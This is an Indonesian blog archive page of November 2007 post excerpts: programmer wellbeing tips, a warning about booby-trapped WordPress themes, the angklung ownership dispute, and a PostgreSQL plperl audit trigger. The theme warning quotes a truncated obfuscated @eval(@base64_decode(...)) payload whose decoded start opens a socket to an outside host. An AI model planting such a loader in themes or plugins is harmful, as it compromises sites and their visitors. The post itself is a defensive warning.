Skip to main content

Posts

Showing posts from November, 2007

8 Jalur Pemerataan Programmer Biar Tet

Terjemahan dan rangkuman bebas dari "8 Ways For A Programmer To Stay Sane" tulisan yang dimuat di Javaloby.com newsletter tanggal 28 nov 2007. Sebagai programmer memang sering seseorang akan merasa bangga ketika karyanya bisa terwujud dan termanfaatkan artinya lagi menghasilkan. Tetapi, sebagai seorang progarmmer pula orang sering merasa sutris. Apalagi kalo ketemu bermacem-macem permintaan yang kadang-kadang aneh dan gak masuk akal. Dari yang macem gini penghargaan yang tinggi sebagai seorang programmer misih belum cukup buat bisa memberikan keseimbangan mental agar tetep bisa dikategorikan waras. Apalagi cuma sekedar cukup atau bahkan kurang. Nah lo... Jadi untuk menghindari hal-hal buruk yang mungkin bisa menghinggapi seorang programmer perlu tahu hal-hal yang bisa menjadi penyeimbang. Tahu Kapan Harus Keluar (rehat) Programmer adalah jenis manusia yang obsesif, seneng sama yang detil, keukeh dan bakal frustasi kalo gak bisa memecahkan permasalahan (dalam ko...

Bener gak sih Wordpress lagi di uji sama hacker?

Buat para blogger yang nongkrong di wordpress kayaknya harus hati2 kalo pengin ngubah tampilan dengan mendonlot theme dari 3rd party. Karena satu kasus sudah terbuka yang diuraikan sama http://5thirtyone.com/archives/870 jadi ternyata, kalo gak salah ngerti, theme wordpress tuh masih memungkinkan menjalankan script php (server side script), dan si hacker memanfaatkan base64_encode untuk mengelabui user sehingga script bikinan dia akan terencode dalam algoritma base64 kemudian dia ambil hasil encodenya ntuh ke theme hasil bikinan dia. Dan di theme nya itu dia menjalankan yang sebaliknya (base64_decode) dan dengan memanfaatkan function @eval dia mengeksekusi scriptnya. He he he, pintar dia. Ini diambil dari : http://codescout.org/2007/11/17/audit-those-3rd-party-themes-and-plugins-before-enabling-them/ @eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\ kxNiA9IEBmc29 ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0R\ kZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1R...

Kita tunggu nasib angklung

Alat musik angklung akhir-akhir ini sedang naik daun oleh karena ada nya perebutan kepemilikan antara Malaysia dan Indonesia. Sebenarnya alat musik yang terdiri dari bilah bambu ini di Indonesia sendiri ada 2 variant. Variant pertama yang berkembang di daerah banyumas Jawa Tengah dan varian kedua adalah yang berkembang di tatar pasundan. Variant pertama bilah-bilah bambu itu ditata selayaknya gambang dan untuk menghasilkan bunyi harus ditabuh. Variant pertama ini juga punya variasi lain, yakni ditata berdiri. Cuma untuk menghasilkan bunyi tetap barus ditabuh. Orang setempat menyebutnya calung. Sedangkan variant kedua, secara umum orang sudah tahu bentuknya. Dia ditata dalam satu kerangka, dan bambu-bambu ditata secara menggantung. Untuk menghasilkan bunyi, angklung itu digoyang-goyangkan sehingga bilah-blah itu akan berbenturan. Mungkin orang malaysia nggak begitu suka sama variant pertama yang berkembang di banyumas, karena yang ini secara international kurang begitu terkenal. Ha ha...

PostgreSQL Trigger Audit..

PostgreSQL adalah salah satu dan mungkin sampai saat ini adalah satu-satunya opensource database dengan fitur yang sangat lengkap. Salah satu kelengkapan fitur yang 'ngedab-edabi' adalah procedural language nya yang mendukung banyak bahasa, mulai dari pl milik postgreSQL sendiri, c, java, bahkan perl. Disamping tentunya SQL. Dengan dukungan salah satu bahasa yang dipakai dalam precedural language nya, 'plperl', saya ingin berurun rembug dalam menyusun satu trigger yang akan merekam setiap transaksi yang dilakukan oleh user applikasi. Rekaman ini akan meliputi semua table yang ada di dalam database dan, tentunya, terinstall trigger, sebut saja trigger audit. Trigger audit yang saya susun ini memerlukan kehadiran skema yang kita rancang sendiri untuk menampung rekaman aktifitas dan system object yang akan kita pakai untuk antara-lain mengidentifikasikan nama kolom dan nama table. Table yang harus kita siapkan meliputi: publication_dtl yang akan merekam seluruh aktifitas u...